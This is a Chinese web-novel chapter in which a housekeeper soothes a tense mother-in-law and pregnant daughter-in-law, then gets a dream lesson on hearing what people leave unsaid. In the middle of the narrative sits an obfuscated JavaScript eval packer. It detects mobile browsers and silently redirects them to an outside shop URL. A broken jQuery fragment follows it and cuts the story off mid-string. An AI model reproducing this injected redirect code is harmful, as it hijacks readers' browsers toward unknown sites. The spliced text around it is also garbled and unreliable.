方阿姨把筷子一搁，啪的一声不轻不重，却足够让所有人都听见。
所有人都能听出来她的不高兴。
她没看唐月明离开的方向，只盯着桌上那几盘菜，像盯着什么惹了她不快的东西。
“我忙前忙后花了一个多小时做的，她就这样，一口也不吃，真是给我面子。”
林秀秀正端着一碗汤出来，脚步顿了一下。
她没凑上去。
这事一不留神容易两头都不落好。
她先把汤放到方阿姨面前，又把唐月明那碗没动几口的饭收了，就像不知道刚刚发生了什么一样。
抬起头来又是一副笑脸。
“方阿姨，您先喝口汤，您这汤炖得可真香啊，我方才开饭前就闻到了。”
林秀秀把勺子放好后递过去，笑意盈盈的样子像是看不到方阿姨拉长的脸。
方阿姨没动，过了好几秒才嗯了一声踩着台阶下来了。
虽然语气听起来还是很僵。
她低着头喝汤，像是在对着汤撒气。
林秀秀看她在慢慢消气，于是回厨房端了杯温开水，往唐月明的房间去。
该哄这边了。
门虚掩着，唐月明靠在床头，半闭着眼，脸色白得吓人。
她听见声音也没睁眼，只低低说了句，“我没事，你也别管我了，我这是老毛病，怀着孩子就闻不得油味，过一会儿就好。”
林秀秀把水放在她够得着的地方，轻声说，“我不是来劝你的，我知道你这会儿身体不好受，不勉强你吃东西。”
“但你这样饿着，胃只会更难受，我随便给你做点清淡的，你要是想吃了就吃两口，不想吃就放着，我一会儿进来收。”
唐月明这才睁开眼，看着林秀秀把围裙又系上了。
她动了动嘴唇，手不自觉抚上肚子，终究还是没说出不用麻烦。
林秀秀回到厨房，先是看了一眼菜篮子里都有什么菜，挑挑拣拣洗干净后，才正式开始做饭。
她要做一个清淡又有滋味的，并且还能很短时间内就做好的饭。
秀秀动作利索地切了几片番茄，抓了一把挂面，又切了点青菜。
她准备做碗清汤面。
她小时候生病的时候，她妈总会给她做这个吃，她每次都是美滋滋的吃完，然后睡一觉，起来就没事了。
不过她妈会放猪油，唐月明闻不得油味儿，就不放了。
油星很少，汤底是清水加两片姜，出锅前点一点点香醋。
她端着面重新走进唐月明房间时，唐月明已经坐起来一点了，正靠着枕头看她。
“你还没正式上工，就给我开小灶。”唐月明看起来好了些，也有精力和她开玩笑。
“我若上工了，那这就是分内事，你就是半夜饿了，我也会爬起来给你做饭吃。”林秀秀笑着把面递过去。
“没放油，很香的哦，你闻闻看。”
唐月明接过筷子，认真的凑近闻了一下，扑面而来是面香味中带着点微酸的开胃感，一点也不恶心。
她低头慢慢吃了起来。
过了一会儿才说道，“我其实不是嫌妈做得饭不好，但我就是吃不下。她每次一放猪油，我就觉得反胃，吐的都要吐酸水了，可我说过几次，她总觉得我是在找茬。”
“那以后我做饭的时候记着，我单独给你做，你不吃的我都不放。”林秀秀拍拍胸脯说道。
她故意把动作做的夸张一点，想逗唐月明笑，唐月明看起来情绪很低落，林秀秀有点担心她。
唐月明没笑，但眉间那股子郁气瞧着散了一些。
林秀秀收拾了空碗出来，方阿姨还坐在原处，汤也没喝几口。
看见林秀秀出来，她似是不经意地问道，“做的什么？还挺香的，她吃了没有？”
“吃了小半碗。”林秀秀主动提起，说的很细，“我煮了碗清汤面，没搁猪油，月明姐孕期嗅觉敏感，闻不得荤油味，我就做的清淡一点，多少让她吃些东西。”
方阿姨别过头，过了好一会儿才说，“吃了就行。”
林秀秀把碗放进水槽，没接话。
她心想，真别扭啊这两个人。
吃完饭，方阿姨去带着年年洗漱，林秀秀把厨房打理干净，坐在桌子前补笔记，记上一些刚发现的细节，正写着，电视旁边柜子上的电话忽然响了。
林秀秀放下笔去接电话。
那头是陆正阳，唐月明的丈夫。
他的声音听起来很疲惫，应该是刚下手术。
“妈？吃了没？月明今天怎么样？”
林秀秀说，“陆先生好，我是小林，家里人都吃过饭了，月明姐今天犯恶心，吃得少一些。”
陆正阳哦了一声，停顿了下才想起来他妈说家里要来新的保姆照顾月明，“好的小林，那你帮我跟妈说一声，月明身子重，别总说她。”
林秀秀握着听筒，没立即应。
她听见陆正阳在那头叹了口气，又交代了两句类似的话，就急匆匆的挂了电话。
林秀秀几乎能想到，方阿姨听见这话时估计会炸。
她正想着该怎么把这话美化一下，好让方阿姨既能明白意思，又不至于太生气，系统的光屏突然就弹了出来。
好久不见，还有点想念。
「阶段任务发布：静水流深——请宿主在一个月内获得陆家主要成员的真心认可
奖励：跨越时间的一次授课。」
来的真及时啊！
林秀秀恨不得立刻亲这光屏两口。
她收拾好东西，和方阿姨告别后就回到了赵家的房子里，潦草收拾一番，迫不及待躺下了。
睁开眼时，她站在一扇漆成奶油色的门前。
门口亮着两盏玻璃壁灯，光晕柔柔的，好看的不真实。
门内传来一个年轻女人的声音，脆生生的，带着点吴语尾音，“快进来呀，站门口当门神啊？”
林秀秀推门，便看见一个穿着杏色羊毛裙的女人斜靠在窗边，头发烫成小卷，涂着珊瑚色的口脂，正往指甲上涂指甲油。
她看见林秀秀，弯了弯眼睛，“来啦？我就知道你会来，你可以叫我阮小姐，往后呢，我来教你怎么听别人嘴里头没说完的那半句话。”
她按着林秀秀在窗边的椅子上坐下。
屋里暖融融的，空气里有股淡淡的桂花头油味。
阮小姐也不急着讲课，先倒了两杯热茶。
她托着脸靠的很近，大大的眼睛盯着林秀秀，“你今日是不是也正在犯愁，这话到底该怎么讲？”
林秀秀老实点头，接到陆正阳电话的时候她就在想了，“我实在不知道要怎么说了。”
看起来有点可怜巴巴的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830632|209242||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阮小姐笑的前仰后合，“瞧你的出息！那我教你个法子罢。”
“这话进了你的耳朵，你不要直接把它搬进另一个人的耳朵，你要先在心里把它拆开，看看哪一句是真正要说的，哪些又是外头包裹着的旧报纸。”
林秀秀仔细听着，觉得这跟剥豆角一样，有筋要抽，有壳就要去。
阮小姐又举了几个例子。
她说她从前在一户人家做客的时候，女主人总爱说你看着办，可那意思不是真让佣人自己做决定。
而是懒得说或者不知道怎么说，但最后的结果要让她满意。
同理，男主人说那我随便吃一点，意思是我不挑，但我不喜欢的你最好一个都别端上来。
小少爷吃饭的时候说我不饿，其实是想说我不想吃饭我想吃零嘴。
林秀秀听得连连咋舌，忍不住问，“那要是听错了怎么办？”
“听错了就记下呗，回头拿本小本子，把那人说的和那人真正的意思列两行，日子一久，你自然就练出来了。”
阮小姐把茶杯放下，忽然侧过头看她，“我瞧你是个心里有数的人，只是总把人往好处想，这没错，但做管家不能只有软心肠，你得软硬都听，好的坏的都听得懂，但不要显露出来，人家跟你说话，你越平静，他越慌。”
林秀秀从前不是不懂，只是不愿意把人想得太坏。
她总觉得，一个人活着，就一定会做几件善事，有一颗善心。
她知道阮小姐的意思，但这并不妨碍她还是会觉得，这世界上好人会更多一些。
阮小姐站起来，从柜子里拿出一个小巧的漆盒递给她。
林秀秀打开一看，里头是一套纸笔，纸张薄薄的，印着浅金色的边，看起来又贵又漂亮。
阮小姐开始赶人了，“这是你这门课的课后作业，明天你遇到人说话，回来就在这纸上写下来，最少要写三件，他说了什么，他想要什么，你当时怎么做的，下次上课交上来，我要看的。”
林秀秀接过漆盒，眼前的一切开始慢慢模糊。
等她再睁开眼，窗外已透进一线灰白。
清晨的冷空气从窗缝里渗进来，带着湿漉漉的霜气。
她起身穿衣洗漱，推门出去时，雾已经散了些，弄堂里的地面上凝着薄薄一层露，像落过雨。
她站在门口深吸一口气，清冽的空气让人神清气爽。
到了陆家，她先去厨房把早餐的粥熬上，又去阳台把昨天晾的小袜子收回来，叠好放进年年的小藤筐。
方阿姨还没起，屋子里安安静静，只有粥在锅里轻轻滚动的声音。
这是她很熟悉的气氛。
擦灶台时，林秀秀忽然听见唐月明的房门响了一下。
她探头看去，见唐月明披着件旧外衣，慢慢走出来，脸色比昨日好了不少，只是步子仍慢。
唐月明看见她，轻轻点了一下头，没说话。
林秀秀把粥盛好，又配了碟清口的泡萝卜。
萝卜是她带来的，原本是泡给自己解馋的，早上出门的时候想到唐月明，于是就带来一些给她尝尝。
她把筷子摆好，又去盛方阿姨那份。
两个女人前后脚在餐桌前坐下，依然没有太多交谈。
林秀秀左瞧瞧右看看，觉得气氛好像还可以，那她是不是能说陆正阳交代她的那句话了？